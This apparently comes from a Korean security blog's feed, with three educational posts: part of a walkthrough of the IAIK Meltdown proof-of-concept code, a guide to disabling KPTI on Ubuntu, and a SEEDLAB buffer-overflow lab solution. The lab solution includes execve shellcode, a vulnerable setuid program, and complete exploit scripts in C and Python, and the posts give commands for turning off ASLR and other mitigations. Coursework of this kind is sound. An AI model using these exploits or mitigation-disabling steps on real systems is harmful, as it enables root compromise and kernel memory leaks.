&lt;p&gt;MELTDOWN 공격으로 인해 읽어들인 값은 이전에 설정한 mem에 인코딩 될 것이고 flush_reload 기술을 이용해 이를 디코딩한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;정상적으로 값을 읽으면 해당 값(&quot;i&quot;)를 return하고 정상적으로 값 읽기에 실패하면 0을 return 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;좀 더&lt;b&gt;&lt;span&gt; MELTDOWN&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;코드&lt;/span&gt;를 자세히 보자.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(Code 9. 참고)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611297672931&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#ifndef MELTDOWN
#define MELTDOWN meltdown_nonull
#endif

#ifdef __x86_64__

// ---------------------------------------------------------------------------
#define meltdown_nonull                                                        \
  asm volatile(&quot;1:\n&quot;                                                          \
               &quot;movzx (%%rcx), %%rax\n&quot;                                         \
               &quot;shl $12, %%rax\n&quot;                                              \
               &quot;jz 1b\n&quot;                                                       \
               &quot;movq (%%rbx,%%rax,1), %%rbx\n&quot;                                 \
               :                                                               \
               : &quot;c&quot;(phys), &quot;b&quot;(mem)                                           \
               : &quot;rax&quot;);

&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;Code 9. libkdump.c - libkdump_read_tsx()&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;phys의 주소는 %%rcx가 mem의 주소는 %%rbx에 할당된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;movzx (%%rcx), %%rax\n:&lt;/b&gt; *phys의 값을 %%rax에 mov 한다.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;shl $12, %%rax:&lt;/b&gt; %%rax의 값을 12bit shift left 한다. (%%rax * 4096)&lt;/p&gt;
&lt;p&gt;&lt;b&gt;jax 1b\n:&lt;/b&gt; retry 한다.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;movq (%%rbx, %%rax, 1), %%rbx\n:&lt;/b&gt; %%rbx에 *(mem + %%rax * 1)을 load 한다. 즉 load를 시도한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;%%rax를 return 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Metldown으로 cache에 인코딩한 값을 decoding 하기 위해서 flush_reload를 이용한다.&lt;span style=&quot;color: #333333;&quot;&gt;(Code 10. 참고)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611298399527&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static int __attribute__((always_inline)) flush_reload(void *ptr) {
  uint64_t start = 0, end = 0;

  start = rdtsc();
  maccess(ptr);
  end = rdtsc();

  flush(ptr);

  if (end - start &amp;lt; config.cache_miss_threshold) {
    return 1;
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이전 &lt;b&gt;libkdump_init() &lt;/b&gt;함수에서 모든 ptr이 가리키는 주소를 flush 했기 때문에 Meltdown 공격에 의해 encoding 된 값만 cache에 load되어 있을 것이다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;각각, ptr을 접근하는데 걸리는 시간을 측정하고 다음 바이트 읽을 때 사용을 위해 ptr을 flush한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;ptr을 load하는데 걸리는 시간이 cache hit과 같으면 return 1을 하여 성공적으로 byte 읽기에 성공했음을 말한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;참고문헌: &lt;a href=&quot;https://github.com/IAIK/meltdown&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/IAIK/meltdown&lt;/a&gt;&lt;/p&gt;</description>
      <category>CPU side-channel attack</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/256</guid>
      <comments>https://marcokhan.tistory.com/256#entry256comment</comments>
      <pubDate>Wed, 20 Jan 2021 22:32:45 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 20.04] How to disable the KPTI</title>
      <link>https://marcokhan.tistory.com/255</link>
      <description>&lt;p&gt;최신 CPU side-channel 공격을 이용하여 커널 메모리 영역을 exploit하고 싶다면 KTPI countermeasure를 disable 해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;본 블로그에서는 최신 Ubuntu 20.04 환경에서 어떻게 KPTI를 disable 할 수 있는지 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;KPTI 적용 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;간단히 커널 로그를 통해 현재 사용하고 있는 OS(Ubuntu 20.04)가 KPTI 방어기법을 enable하는지 disable하는지를 아래 명령어를 통해 확인 가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611145279752&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;marco@css:~/Downloads$ dmesg  | grep Kernel/User
[    0.923955] Kernel/User page tables isolation: enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&quot;Kernel/User page tables isolation: enabled&quot;로 KTPI가 enabled 되어있는것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;혹은 아래 명령어로 현재 PC에 적용된 mitigations를 확인 가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611146225261&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cat /sys/devices/system/cpu/vulnerabilities/*
KVM: Mitigation: VMX unsupported
Mitigation: PTE Inversion
Mitigation: Clear CPU buffers; SMT vulnerable
Mitigation: PTI
Mitigation: Speculative Store Bypass disabled via prctl and seccomp
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, IBPB: conditional, IBRS_FW, STIBP: conditional, RSB filling
Not affected
Mitigation: Clear CPU buffers; SMT vulnerable&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;b&gt;&quot;Mitigation: PTI&quot;&lt;/b&gt;가 적용된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;How to disable the KPTI&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;KPTI는 Kernel boot시 parameter를 넘겨줌으로써 diable할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611145756874&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo vi /etc/default/grub

  1 # If you change this file, run 'update-grub' afterwards to update
  2 # /boot/grub/grub.cfg.
  3 # For full documentation of the options in this file, see:
  4 #   info -f grub -n 'Simple configuration'
  5 
  6 GRUB_DEFAULT=0
  7 GRUB_TIMEOUT_STYLE=hidden
  8 GRUB_TIMEOUT=0
  9 GRUB_DISTRIBUTOR=`lsb_release -i -s 2&amp;gt; /dev/null || echo Debian`
 10 GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash pti=off&quot;
 11 GRUB_CMDLINE_LINUX=&quot;&quot;
 12 
 13 # Uncomment to enable BadRAM filtering, modify to suit your needs
 14 # This works with Linux (no patch required) and with any kernel that obtains
 15 # the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...)
 16 #GRUB_BADRAM=&quot;0x01234567,0xfefefefe,0x89abcdef,0xefefefef&quot;
 17 
 18 # Uncomment to disable graphical terminal (grub-pc only)
 ...
 
 $ sudo update-grub
 $ sudo reboot

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;필자는 line 10에 &lt;b&gt;&quot;pit=off&quot;&lt;/b&gt; 옵션을 추가했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;KPTI disabled 적용 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;KTPI가 잘 disabled 된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611146114850&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cat /sys/devices/system/cpu/vulnerabilities/*
KVM: Mitigation: VMX unsupported
Mitigation: PTE Inversion
Mitigation: Clear CPU buffers; SMT vulnerable
Vulnerable
Mitigation: Speculative Store Bypass disabled via prctl and seccomp
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, IBPB: conditional, IBRS_FW, STIBP: conditional, RSB filling
Not affected
Mitigation: Clear CPU buffers; SMT vulnerable&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CPU side-channel attack</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/255</guid>
      <comments>https://marcokhan.tistory.com/255#entry255comment</comments>
      <pubDate>Wed, 20 Jan 2021 21:39:24 +0900</pubDate>
    </item>
    <item>
      <title>SEEDLAB Chap 2: Buffer Overflow Vulnerability Lab</title>
      <link>https://marcokhan.tistory.com/254</link>
      <description>&lt;p&gt;&quot;Computer &amp;amp; Internet security : A Hand-on Approach&quot; 서적의 내용 중 System security에 관련된 내용을 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;본 블로그에서는 4장 &quot;Buffer Overflow Attack&quot;에 대한 실습 내용을 풀이한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Disable the mitigaitons&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span&gt;Task들을 시작하기 전에 최근 Ubuntu에 서 동작하는 몇몇 mitigaiton들을 disable 해야한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;처음에는 모든 mitigaiton들을 disable 하겠지만 Task가 지나감에 따라 점점 enable하고 각각의 mitigation을 파훼한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;* Address Space Layout Randomization(ASLR)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610881277482&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo sysctl -w kernel.randomize_va_space=0		// disable the ASLR
$ sudo sysctl -w kernel.randomize_va_space=1		// enable the ASLR on stack
$ sudo sysctl -w kernel.randomize_va_space=2		// enable the ASLR on stack and heap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;* The StackGuard Protection Scheme&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;최근 GCC compiler는 stackguard라는 mitigation을 적용하고 있다. stack 영역에 canary를 default로 삽입한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;따라서 stackguard mitigaiton을 disable 하기 위해서 -fno-stack-protector 옵션을 컴파일 할 때 주어야 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610881409865&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gcc -fno-stack-protector example.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;* Non-Executable Stack&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;초기 우분투는 stack 영역에서의 코드 실행을 허락했지만 최근에는 binary에 직접 명시를 해주어야 한다.&lt;/p&gt;
&lt;p&gt;(executable or non-executable)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;최근 버전의 gcc는 default로 생성된 binary를 non-executable로 설정한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610881746642&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// For execuatble stack:
$ gcc -z execstack -o test test.c

// For non-executable stack:
$ gcc -z noexecstack -o test test.c&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;* Configuring /bin/sh&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;최근 Ubuntu는(12.04~16.04)&amp;nbsp; /bin/sh는 /bin/dash에 symbolic link 되어 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;/bin/dash는 많은 공격들을 방어하기 위해 여러 방어기법을 적용했고 그 중 Set-UID bit check에 대한 방어기법도 추가했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;간단하게 설명하면, dash 쉘에서 Set-UID process가 실행될 때 euid(effective user ID)와 ruid(real user ID)가 다르면 euid를 ruid로 설정하여 권한을 떨어뜨린다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이러한 countermeasure가 적용되지 않은 /bin/zsh를 이용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610882256816&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Before we start an attack
$ sudo ln -sf /bin/zsh /bin/sh

// After we finished an attack
$ sudo ln -sf /bin/dash /bin/sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 1: Running Shellcode&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The shellcode that we use is just the assembly version. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610883593496&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* call_shellcode.c: You can get it from the lab&amp;rsquo;s website */
/* A program that launches a shell using shellcode */

#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

const char code[] =
	&quot;\x31\xc0&quot; 				/* Line 1: xorl %eax,%eax */
	&quot;\x50&quot; 					/* Line 2: pushl %eax */
	&quot;\x68&quot;&quot;//sh&quot; 			/* Line 3: pushl $0x68732f2f */
	&quot;\x68&quot;&quot;/bin&quot;			/* Line 4: pushl $0x6e69622f */
	&quot;\x89\xe3&quot; 				/* Line 5: movl %esp,%ebx */
	&quot;\x50&quot; 					/* Line 6: pushl %eax */
	&quot;\x53&quot; 					/* Line 7: pushl %ebx */
	&quot;\x89\xe1&quot; 				/* Line 8: movl %esp,%ecx */
	&quot;\x99&quot; 					/* Line 9: cdq */
	&quot;\xb0\x0b&quot; 				/* Line 10: movb $0x0b,%al */
	&quot;\xcd\x80&quot; 				/* Line 11: int $0x80 */
;

int main(int argc, char **argv)
{
	char buf[sizeof(code)];
	strcpy(buf, code);
    
	((void(*)( ))buf)( );
    
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Compile&amp;nbsp;the&amp;nbsp;code&amp;nbsp;above&amp;nbsp;using&amp;nbsp;the&amp;nbsp;following&amp;nbsp;gcc&amp;nbsp;command.&amp;nbsp;Run&amp;nbsp;the&amp;nbsp;program&amp;nbsp;and&amp;nbsp;describe&amp;nbsp;your&amp;nbsp;observations.&amp;nbsp;Please&amp;nbsp;do&amp;nbsp;not&amp;nbsp;forget&amp;nbsp;to&amp;nbsp;use&amp;nbsp;the&amp;nbsp;execstack&amp;nbsp;option,&amp;nbsp;which&amp;nbsp;allows&amp;nbsp;code&amp;nbsp;to&amp;nbsp;be&amp;nbsp;executed&amp;nbsp;from&amp;nbsp;the&amp;nbsp;stack;&amp;nbsp;without&amp;nbsp;this&amp;nbsp;option,&amp;nbsp;the&amp;nbsp;program&amp;nbsp;will&amp;nbsp;fail.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610883644626&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ gcc -z execstack -o call_shellcode call_shellcode.c&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;You will be provided with the following program, which has a buffer-overflow vulnerability in Line A. Your job is to exploit this vulnerability and gain the root privilege. The vulnerable program is described as follow:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610884796012&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* Vunlerable program: stack.c */
/* You can get this program from the lab&amp;rsquo;s website */

#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won&amp;rsquo;t be able to use the solutions from the past.
* Suggested value: between 0 and 400 */

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
	char buffer[BUF_SIZE];
    
	/* The following statement has a buffer overflow problem */
	strcpy(buffer, str);   // Line A
    
	return 1;
}

int main(int argc, char **argv)
{
	char str[517];
	FILE *badfile;
    
	/* Change the size of the dummy array to randomize the parameters
	for this lab. Need to use the array at least once */
	char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
    
	badfile = fopen(&quot;badfile&quot;, &quot;r&quot;);
	fread(str, sizeof(char), 517, badfile);
    
	bof(str);
	printf(&quot;Returned Properly\n&quot;);
    
	return 1;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;To compile the above vulnerable program, don't forget to trun off some countermeasures(the StackGuard and the non-executable stack protection) as below:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610885072101&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 2: Exploiting the Vulnerability&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611050326221&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[01/19/21]seed@VM:~/.../BOF$ gdb -q stack
Reading symbols from stack...(no debugging symbols found)...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1
gdb-peda$ r
Starting program: /home/seed/Computer_Security/SEEDLAB/BOF/stack 

Breakpoint 1, 0x080484f1 in bof ()
gdb-peda$ disas bof
Dump of assembler code for function bof:
   0x080484eb &amp;lt;+0&amp;gt;:	push   %ebp
   0x080484ec &amp;lt;+1&amp;gt;:	mov    %esp,%ebp
   0x080484ee &amp;lt;+3&amp;gt;:	sub    $0x28,%esp
=&amp;gt; 0x080484f1 &amp;lt;+6&amp;gt;:	sub    $0x8,%esp
   0x080484f4 &amp;lt;+9&amp;gt;:	pushl  0x8(%ebp)
   0x080484f7 &amp;lt;+12&amp;gt;:	lea    -0x20(%ebp),%eax
   0x080484fa &amp;lt;+15&amp;gt;:	push   %eax
   0x080484fb &amp;lt;+16&amp;gt;:	call   0x8048390 &amp;lt;strcpy@plt&amp;gt;
   0x08048500 &amp;lt;+21&amp;gt;:	add    $0x10,%esp
   0x08048503 &amp;lt;+24&amp;gt;:	mov    $0x1,%eax
   0x08048508 &amp;lt;+29&amp;gt;:	leave  
   0x08048509 &amp;lt;+30&amp;gt;:	ret    
End of assembler dump.

gdb-peda$ p $ebp
$1 = (void *) 0xbfffea88&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우리가 공격할 위치인 bof's RET의 주소를 알기 위해서 gdb를 이용해 bof's ebp address를 알 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;gdb를 기반으로 분석해보았을 때 &lt;b&gt;bof's ebp 주소가 0xbfffea88&lt;/b&gt;이라는 것을 알아냈다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;또한 &lt;b&gt;&quot;0x080484f7 &amp;lt;+12&amp;gt;: lea&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-0x20(%ebp),%eax &quot;&lt;/b&gt;, &lt;b&gt;&quot;0x080484fa &amp;lt;+15&amp;gt;: push&amp;nbsp;&amp;nbsp;&amp;nbsp;%eax&quot;&lt;/b&gt;을 통해서 ebp-0x20의 위치에 buffer가 존재하여 해당 주소를 strcpy의 parameter로 전달하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이를 바탕으로 stack.c를 컴파일 했을 때 생성된 stack 바이너리를 분석하면 아래와 같은 메모리 구조를 얻을 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLLaUB/btqUeXaqpy3/cTVhS6kH1qwzR86Gj2wSrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLLaUB/btqUeXaqpy3/cTVhS6kH1qwzR86Gj2wSrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLLaUB/btqUeXaqpy3/cTVhS6kH1qwzR86Gj2wSrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLLaUB%2FbtqUeXaqpy3%2FcTVhS6kH1qwzR86Gj2wSrK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우리가 공격할 address의 주소는 0xbfffea8c라는 것을 확인하였다. nop padding은 수행되어져 있기 때문에 bof's RET와 적절한 위치에 shellcode를 삽입하면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;C와 python으로 작성된 exploit 소스는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;exploit.c&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611131073363&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
char shellcode[]=
    &quot;\x31\xc0&quot;             /* xorl    %eax,%eax              */
    &quot;\x50&quot;                 /* pushl   %eax                   */
    &quot;\x68&quot;&quot;//sh&quot;           /* pushl   $0x68732f2f            */
    &quot;\x68&quot;&quot;/bin&quot;           /* pushl   $0x6e69622f            */
    &quot;\x89\xe3&quot;             /* movl    %esp,%ebx              */
    &quot;\x50&quot;                 /* pushl   %eax                   */
    &quot;\x53&quot;                 /* pushl   %ebx                   */
    &quot;\x89\xe1&quot;             /* movl    %esp,%ecx              */
    &quot;\x99&quot;                 /* cdq                            */
    &quot;\xb0\x0b&quot;             /* movb    $0x0b,%al              */
    &quot;\xcd\x80&quot;             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&amp;amp;buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strncpy(buffer+36, &quot;\x8c\xea\xff\xbf&quot;,4);
    strncpy(buffer+200, shellcode, sizeof(shellcode));

    /* Save the contents to the file &quot;badfile&quot; */
    badfile = fopen(&quot;./badfile&quot;, &quot;w&quot;);
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;exploit.py&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611131134631&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
import sys

shellcode= (
   &quot;\x31\xc0&quot;    # xorl    %eax,%eax
   &quot;\x50&quot;        # pushl   %eax
   &quot;\x68&quot;&quot;//sh&quot;  # pushl   $0x68732f2f
   &quot;\x68&quot;&quot;/bin&quot;  # pushl   $0x6e69622f
   &quot;\x89\xe3&quot;    # movl    %esp,%ebx
   &quot;\x50&quot;        # pushl   %eax
   &quot;\x53&quot;        # pushl   %ebx
   &quot;\x89\xe1&quot;    # movl    %esp,%ecx
   &quot;\x99&quot;        # cdq
   &quot;\xb0\x0b&quot;    # movb    $0x0b,%al
   &quot;\xcd\x80&quot;    # int     $0x80
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

##################################################################
ret    = 0xbfffea8c   # replace 0xAABBCCDD with the correct value
offset = 36            # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
